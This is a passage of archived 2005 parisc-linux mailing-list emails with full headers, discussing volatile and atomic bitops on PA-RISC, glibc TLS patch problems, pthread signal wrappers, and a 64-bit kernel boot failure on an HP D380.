	by free.linux.hp.com (Postfix) with ESMTP id 83D2F7D66E;
	Wed, 13 Apr 2005 19:33:45 -0600 (MDT)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 5D2FB7D648
	for <parisc-linux@lists.parisc-linux.org>;
	Wed, 13 Apr 2005 19:33:42 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 23773-05 for <parisc-linux@lists.parisc-linux.org>;
	Wed, 13 Apr 2005 19:33:42 -0600 (MDT)
Original-Received: from arwen.tausq.org (legolas.tausq.org [64.81.244.109])
	by free.linux.hp.com (Postfix) with ESMTP id DA7567D647
	for <parisc-linux@lists.parisc-linux.org>;
	Wed, 13 Apr 2005 19:33:41 -0600 (MDT)
Original-Received: by arwen.tausq.org (Postfix, from userid 1000)
	id 452AE43A16; Wed, 13 Apr 2005 18:33:39 -0700 (PDT)
Content-Disposition: inline
In-Reply-To: <20050414013105.GB17749@tausq.org>
X-GPG: for GPG key, see http://www.tausq.org/gpg.txt
User-Agent: Mutt/1.5.6+20040722i
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.5
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: 8rRWddpmbGIOB6aDYmRnWnVgcmZ1Zpzf
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:22632

> One might argue that the contents pointed to by addr can be volatile,
> but in that case shouldn't it be "unsigned long * volatile addr"?

no, this part is not right. pls ignore.

randolph
-- 
Randolph Chung
Debian GNU/Linux Developer, hppa/ia64 ports
http://www.tausq.org/
_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:33:21 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Grant Grundler <grundler@parisc-linux.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] some other small bitops.h suggestion?
Date: Fri, 15 Apr 2005 13:27:13 -0600
Lines: 42
Approved: news@gmane.org
Message-ID: <20050415192713.GA26321@colo.lackof.org>
References: <20050414050727.GA30838@colo.lackof.org>
	<200504141439.j3EEd9oX018785@hiauly1.hia.nrc.ca>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=us-ascii
X-Trace: ger.gmane.org 1416623759 13961 80.91.229.3 (22 Nov 2014 02:35:59 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:35:59 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: John David Anglin <dave@hiauly1.hia.nrc.ca>
Original-X-From: - Wed Jul 02 21:27:19 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 1001
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 15 Apr 2005 19:25:07 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) [192.25.206.17]
  by mx0.gmx.net (mx021) with SMTP; 15 Apr 2005 21:25:07 +0200
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id B20A57D6E1;
	Fri, 15 Apr 2005 13:25:04 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 06843-06; Fri, 15 Apr 2005 13:25:04 -0600 (MDT)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id BD6C37D6E6;
	Fri, 15 Apr 2005 13:25:03 -0600 (MDT)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 733407D6E0
	for <parisc-linux@lists.parisc-linux.org>;
	Fri, 15 Apr 2005 13:25:00 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 06843-03 for <parisc-linux@lists.parisc-linux.org>;
	Fri, 15 Apr 2005 13:25:00 -0600 (MDT)
Original-Received: from colo.lackof.org (colo.lackof.org [198.49.126.79])
	by free.linux.hp.com (Postfix) with ESMTP id E1BF07D6DD
	for <parisc-linux@lists.parisc-linux.org>;
	Fri, 15 Apr 2005 13:24:59 -0600 (MDT)
Original-Received: from localhost (localhost [127.0.0.1])
	by colo.lackof.org (Postfix) with ESMTP id 078B929804C;
	Fri, 15 Apr 2005 13:27:15 -0600 (MDT)
Original-Received: from colo.lackof.org ([127.0.0.1])
	by localhost (colo.lackof.org [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 29491-09; Fri, 15 Apr 2005 13:27:13 -0600 (MDT)
Original-Received: by colo.lackof.org (Postfix, from userid 27253)
	id 96E7F29803F; Fri, 15 Apr 2005 13:27:13 -0600 (MDT)
Content-Disposition: inline
In-Reply-To: <200504141439.j3EEd9oX018785@hiauly1.hia.nrc.ca>
X-Home-Page: http://www.parisc-linux.org/
User-Agent: Mutt/1.5.6+20040907i
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at lackof.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.5
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: ifMAJtp+a0ASGb6aejEzBTQwNjh6dA7e
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:22633

On Thu, Apr 14, 2005 at 10:39:08AM -0400, John David Anglin wrote:
...
> I don't believe that a lock can be implemented as shown above on
> PA-RISC as we don't have an atomic test_and_set_bit.  The only atomic
> ops are ldcw and ldcd (load and clear word/double).  So, if test_and_set_bit
> needs locking semantics, it will have to be implemented with spinlocks.

I think linus was just defining what he expects from test_and_set_bit().
If parisc implementation doesn't work that way, he considers it a bug
in the parisc implemenation (vs redefining the interface).

> Secondly, I'm not convinced of the concept of volatile code paths
> and using the volatile keyword to keep loops from being optimized
> away.  I think this approach results in bad code.

My take is "volatile" is just a way to tell gcc something about the
code/data that it can't see. I'm not going to quibble with linus
about whether data is volatile or code is volatile. I think in some
cases it's one (e.g accessing memory mapped HW) or the other
(accessing shared data). Key thing is gcc be able to optimize code
but not remove it (especially in the latter case).

We do use volatile for accessing memory mapped HW in all our readl/writel
implementations. Those are uncached accesses and thus shouldn't
ever get removed. This is the obvious case.

I just realized we often use mb() variants in the kernel to mark at least
boundary of lockless access to shared data. But volatile is almost
never mentioned for many of these accesses.
E.g. tg3.[ch] driver messes around with shared memory areas (descriptor
rings) but doesn't have "volatile" keyword in it.

Though we do NOT mark those accesses (memory writes in particular)
with volatile, it sounds like we should.

grant
_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:33:21 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Carlos O'Donell <carlos@baldric.uwo.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] More from the TLS glibc front.
Date: Fri, 15 Apr 2005 10:34:38 -0400
Lines: 16
Approved: news@gmane.org
Message-ID: <20050415143437.GO26980@baldric.uwo.ca>
References: <20050409050558.GL1833@baldric.uwo.ca>
	<20050410104403.GK6987@tausq.org>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=us-ascii
X-Trace: ger.gmane.org 1416623759 13963 80.91.229.3 (22 Nov 2014 02:35:59 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:35:59 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: Randolph Chung <randolph@tausq.org>
Original-X-From: - Wed Jul 02 21:27:19 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 1001
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 15 Apr 2005 15:34:49 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) [192.25.206.17]
  by mx0.gmx.net (mx038) with SMTP; 15 Apr 2005 17:34:49 +0200
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id C1A9B7D6B3;
	Fri, 15 Apr 2005 09:34:46 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 04067-10; Fri, 15 Apr 2005 09:34:46 -0600 (MDT)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 4529D7D6BB;
	Fri, 15 Apr 2005 09:34:46 -0600 (MDT)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 01C877D6B1
	for <parisc-linux@lists.parisc-linux.org>;
	Fri, 15 Apr 2005 09:34:43 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 04031-08 for <parisc-linux@lists.parisc-linux.org>;
	Fri, 15 Apr 2005 09:34:42 -0600 (MDT)
Original-Received: from baldric.uwo.ca (baldric.uwo.ca [129.100.10.225])
	by free.linux.hp.com (Postfix) with ESMTP id 60E407D6AE
	for <parisc-linux@lists.parisc-linux.org>;
	Fri, 15 Apr 2005 09:34:42 -0600 (MDT)
Original-Received: from carlos by baldric.uwo.ca with local (Exim 3.35 #1 (Debian))
	id 1DMRu2-0000S7-00; Fri, 15 Apr 2005 10:34:38 -0400
Content-Disposition: inline
In-Reply-To: <20050410104403.GK6987@tausq.org>
X-Useless-Header: listen, love, accept, mindfullness, patience, and humility. 
X-Mailer: Neural Implant (38% Sync Ratio [====......])
User-Agent: Mutt/1.5.6+20040907i
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.5
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: qfMIcf5ReWUNHa2TZm9nSG8sL0tsZo2R
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:22634

On Sun, Apr 10, 2005 at 03:44:03AM -0700, Randolph Chung wrote:
> I find some other issues with the glibc build. Carlos, a few of your
> patches are malformed. They have CVS conflict markers in them.. :)

Oh, yes. I'm not always as careful as I want to be with that patch
generation. I fix the upstream glibc problems too fast, and the update
script does a 'cvs up' and then generates patches. Not always optimal.

c.

_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:33:21 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Carlos O'Donell <carlos@baldric.uwo.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] pthread problems - test program
Date: Fri, 15 Apr 2005 10:16:59 -0400
Lines: 17
Approved: news@gmane.org
Message-ID: <20050415141659.GJ26980@baldric.uwo.ca>
References: <20050409063847.GR1833@baldric.uwo.ca>
	<200504091501.j39F112M022031@hiauly1.hia.nrc.ca>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=us-ascii
X-Trace: ger.gmane.org 1416623759 13966 80.91.229.3 (22 Nov 2014 02:35:59 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:35:59 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: John David Anglin <dave@hiauly1.hia.nrc.ca>
Original-X-From: - Wed Jul 02 21:27:19 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 1001
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 15 Apr 2005 15:17:21 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) [192.25.206.17]
  by mx0.gmx.net (mx035) with SMTP; 15 Apr 2005 17:17:21 +0200
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id AA7117D696;
	Fri, 15 Apr 2005 09:17:12 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 03340-09; Fri, 15 Apr 2005 09:17:12 -0600 (MDT)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 0EFCD7D6A2;
	Fri, 15 Apr 2005 09:17:12 -0600 (MDT)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 8796A7D691
	for <parisc-linux@lists.parisc-linux.org>;
	Fri, 15 Apr 2005 09:17:09 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 03340-06 for <parisc-linux@lists.parisc-linux.org>;
	Fri, 15 Apr 2005 09:17:09 -0600 (MDT)
Original-Received: from baldric.uwo.ca (baldric.uwo.ca [129.100.10.225])
	by free.linux.hp.com (Postfix) with ESMTP id 15F667D662
	for <parisc-linux@lists.parisc-linux.org>;
	Fri, 15 Apr 2005 09:17:09 -0600 (MDT)
Original-Received: from carlos by baldric.uwo.ca with local (Exim 3.35 #1 (Debian))
	id 1DMRcy-0000OK-00; Fri, 15 Apr 2005 10:17:00 -0400
Content-Disposition: inline
In-Reply-To: <200504091501.j39F112M022031@hiauly1.hia.nrc.ca>
X-Useless-Header: listen, love, accept, mindfullness, patience, and humility. 
X-Mailer: Neural Implant (38% Sync Ratio [====......])
User-Agent: Mutt/1.5.6+20040907i
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.5
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: /rRSdtlWX1VTTeuYY2FydTZwSDc4NEyN
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:22635

On Sat, Apr 09, 2005 at 11:01:00AM -0400, John David Anglin wrote:
> > > Just wondering if this has to do with rt signals versus old style linux
> > > signals (ia64 seems to define some wrappers).
> > 
> > libc or kernel?
> 
> libc.

Where are you looking to see these wrappers?

c.
_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:33:21 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Joel Soete" <soete.joel@tiscali.be>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] D380: ccio-dma issue for 64bit kernel?
Date: Thu, 14 Apr 2005 14:39:11 +0200
Lines: 107
Approved: news@gmane.org
Message-ID: <42134E6200016E60@mail-2-bnl.tiscali.it>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset="ISO-8859-15"
Content-Transfer-Encoding: quoted-printable
X-Trace: ger.gmane.org 1416623760 13967 80.91.229.3 (22 Nov 2014 02:36:00 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:36:00 +0000 (UTC)
To: parisc-linux@lists.parisc-linux.org
Original-X-From: - Wed Jul 02 21:27:19 2014
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 1001
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 14 Apr 2005 12:39:39 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) [192.25.206.17]
  by mx0.gmx.net (mx009) with SMTP; 14 Apr 2005 14:39:39 +0200
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id BAB5C7D66E;
	Thu, 14 Apr 2005 06:39:24 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 27476-05; Thu, 14 Apr 2005 06:39:24 -0600 (MDT)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id CBF447D671;
	Thu, 14 Apr 2005 06:39:23 -0600 (MDT)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 555917D665
	for <parisc-linux@lists.parisc-linux.org>;
	Thu, 14 Apr 2005 06:39:18 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 27437-04 for <parisc-linux@lists.parisc-linux.org>;
	Thu, 14 Apr 2005 06:39:17 -0600 (MDT)
Original-Received: from mrqout2.tiscali.it (mrqout2.tiscali.it [195.130.225.12])
	by free.linux.hp.com (Postfix) with ESMTP id 825697D662
	for <parisc-linux@lists.parisc-linux.org>;
	Thu, 14 Apr 2005 06:39:17 -0600 (MDT)
Original-Received: from mail-2-bnl.mail.tiscali.sys ([10.39.115.132]
	helo=mail-2-bnl.tiscali.it)
	by mrqout2.tiscali.it with esmtp (Exim 4.43) id 1DM3cl-0004dB-V3
	for parisc-linux@lists.parisc-linux.org; Thu, 14 Apr 2005 14:39:13 +0200
Original-Received: from [57.67.177.33] by mail-2-bnl.tiscali.it with HTTP;
	Thu, 14 Apr 2005 14:39:11 +0200
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.5
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: 87RYeoUqYW0EEbuGbmZpPm5zamthc9vN
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:22636

Hello all,

This is a d380 2way pa8000 with 256K of ram which boot and run fine 32bit=

kernels (up et smp) :-)

As those processor are pa8000, I would be also able to run 64bi kernel?

I tried 2.6.12-rc2-pa2 but it failled at:
...
 EISA bus registered
Searching for devices...
Found devices:
1. U2-IOA BC Runway Port at 0xfffffffffff88000 [8] { 12, 0xf, 0x580, 0x00=
00b
}
2. UL 550 Lasi Core BA at 0xffffffffffd00000 [8/16] { 11, 0x0, 0x02f, 0x0=
0081
},
  additional addresses: 0xffffffffffd0c000 0xffffffffffc00000
3. UL 550 Lasi Core RS-232 at 0xffffffffffd05000 [8/16/4] { 10, 0x0, 0x02=
f,
0x00
08c }
4. UL 550 Core SCSI at 0xffffffffffd06000 [8/16/5] { 10, 0x0, 0x02f, 0x00=
082
}
5. UL 350 Core LAN (802.3) at 0xffffffffffd07000 [8/16/6] { 10, 0x0, 0x02=
f,
0x00
08a }
6. UL 550 Core Centronics at 0xffffffffffd02000 [8/16/0] { 10, 0x0, 0x02f=
,
0x000
74 },  additional addresses: 0xffffffffffd01000 0xffffffffffd03000
7. UL 550 Core PS/2 Port at 0xffffffffffd08000 [8/16/7] { 10, 0x0, 0x02f,=

0x0008
4 }
8. UL 550 Core PS/2 Port at 0xffffffffffd08100 [8/16/8] { 10, 0x0, 0x02f,=

0x0008
4 }
9. UL 550 Core Wax BA at 0xffffffffffe00000 [8/20] { 11, 0x0, 0x031, 0x00=
08e
}
10. UL 550 Wax EISA BA at 0xfffffffffc000000 [8/20/5] { 11, 0x0, 0x031, 0=
x00090
},  additional addresses: 0xffffffffffc88000
11. UL 550 Wax Core RS-232 at 0xffffffffffe02000 [8/20/2] { 10, 0x0, 0x03=
1,
0x00
08c }
12. Bluefish Add-on FW-SCSI at 0xfffffffff1004000 [8/4] { 4, 0x1, 0x013,
0x00089
 }
13. Bluefish Add-on FW-SCSI at 0xfffffffff1008000 [8/8] { 4, 0x1, 0x013,
0x00089
 }
14. Bluefish Add-on FW-SCSI at 0xfffffffff100c000 [8/12] { 4, 0x1, 0x013,=

0x0008
9 }
15. U2-IOA BC GSC+ Port at 0xfffffffff103f000 [8/63] { 7, 0x1, 0x501, 0x0=
000c
}
16. U2-IOA BC Runway Port at 0xfffffffffff8a000 [10] { 12, 0xf, 0x580, 0x=
0000b
}
17. U2-IOA BC GSC+ Port at 0xfffffffff183f000 [10/63] { 7, 0x1, 0x501, 0x=
0000c
}
18. UL proc 2-way U180 1M/1M at 0xfffffffffffa0000 [32] { 0, 0x0, 0x5aa,
0x00004
 }
19. UL proc 2-way U180 1M/1M at 0xfffffffffffa2000 [34] { 0, 0x0, 0x5aa,
0x00004
 }
20. Memory at 0xfffffffffffb1000 [49] { 1, 0x0, 0x07c, 0x00009 }
CONFIG_SMP=3Dn  ignoring additional CPUs
CPU: probe of 34 failed with error 1
CPU(s): 1 x PA8000 (PCX-U) at 180.000000 MHz
Setting cache flush threshold to e4540 (1 CPUs online)
Found U2 at 0xfffffffffff88000
Found U2 at 0xfffffffffff8a000
/usr/src/linux-2.6.12-rc2-pa2-050413/drivers/parisc/ccio-dma.c: failed to=

claim
CCIO bus address space (ffffffff00000000,ffffffffffffffff)
Lasi version 0 at 0xffffffffffd00000 found.
LED display at ffffffffffd0c000 registered
wax at 0xffffffffffe00000 found.
Wax EISA Adapter found at 0xfffffffffc000000
Enumerating EISA bus

Any idea?

Thanks in advance,
    Joel


_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:33:21 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Carlos O'Donell <carlos@baldric.uwo.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] More from the TLS glibc front.
Date: Fri, 15 Apr 2005 10:30:45 -0400
Lines: 36
Approved: news@gmane.org
Message-ID: <20050415143044.GM26980@baldric.uwo.ca>
References: <4258096E.1050205@tiscali.be>
	<200504091719.j39HJZKK023228@hiauly1.hia.nrc.ca>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=us-ascii
X-Trace: ger.gmane.org 1416623760 13970 80.91.229.3 (22 Nov 2014 02:36:00 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:36:00 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: John David Anglin <dave@hiauly1.hia.nrc.ca>
Original-X-From: - Wed Jul 02 21:27:19 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 1001
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 15 Apr 2005 15:32:14 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) [192.25.206.17]
  by mx0.gmx.net (mx053) with SMTP; 15 Apr 2005 17:32:14 +0200
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id EA6B87D6AE;
	Fri, 15 Apr 2005 09:32:01 -0600 (MDT)
